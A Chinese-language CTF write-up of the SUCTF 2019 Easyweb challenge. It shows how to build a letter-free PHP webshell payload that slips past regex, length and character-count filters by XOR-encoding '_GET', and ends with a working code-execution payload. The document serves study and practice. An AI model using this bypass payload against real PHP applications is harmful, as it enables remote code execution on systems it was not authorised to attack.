刷buuoj的时候看到的题目SUCTF 2019 Easyweb, 以本题的过滤为例介绍无字母的webshell.
0x01 源码
1 | // Other Code |
这篇文章主要关注无字母执行php函数, 代码的其他部分就不贴了
0x02 分析
首先限制了参数长度不能超过18,接着限制了接受的参数不能在给定的正则中. 一般情况下可以写一个php脚本判断下还有什么能用的内置函数和字符.1
2
3
4
5
6
7
8
9
10
11$inner = get_defined_functions()['internal'];
foreach ($inner as $key => $hhh) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))
unset($inner[$key]);
}
var_dump($inner);
for ($i = 0; $i <= 126; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)))
continue;
echo chr($i);
}
这些是还剩下的能用的东西1
!#$%()*+-/:;<>?@\]^{}
可以看到过滤十分严格, 所有的字母都不能使用, 可以用的只有各种符号和高于126的不可打印字符.
最后还有一个使用的字符种类不能超过12个的限制.
这里可以根据这篇文章构造无字母的php语句.
0x03 构造bypass
这里假设我们需要执行的命令为phpinfo();
利用php的特性, 没有引号的字符自动转换为字符串, 后续版本可能没有这个特性了. 由于这个特性的存在, 我们可以无需引号执行类似于aaa^bbb
的代码, php会返回表达式的计算结果.
为了和前后的;这类的没被过滤的符号拼接, 我们还需要{}来为php标识参与异或运算的字符串范围
在这里我们还需要考虑绕过参数的长度限制. 就拿最简单的phpinfo();来说, 长度为10, 去掉最后的特殊符号, 长度为7. 使用异或构造长度7的字符串的话需要15个字符. 再加上标识用的{},显然超过了长度限制.
于是我们这里需要一个骚套路. 构造一个新的变量点.1
2$hhh='$_GET{aaa}';
eval($hhh();)
类似于这样, eval($hhh)就相当于执行了从aaa给入的函数.
然后就能回溯了, 我们的目标是构造$hhh='$_GET{-}();'
其中_GET是被过滤的. 基础字符串长度是11, 需要异或的字符有4个, 算上异或符号和区分用的{},正好长度18.
简单跑个脚本就能得到我们需要什么东西来异或1
2
3aim='_GET'
for a in aim:
print(hex(ord(a)^0xff))
最后得到payload1
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ef}();&%ef=phpinfo
成功绕过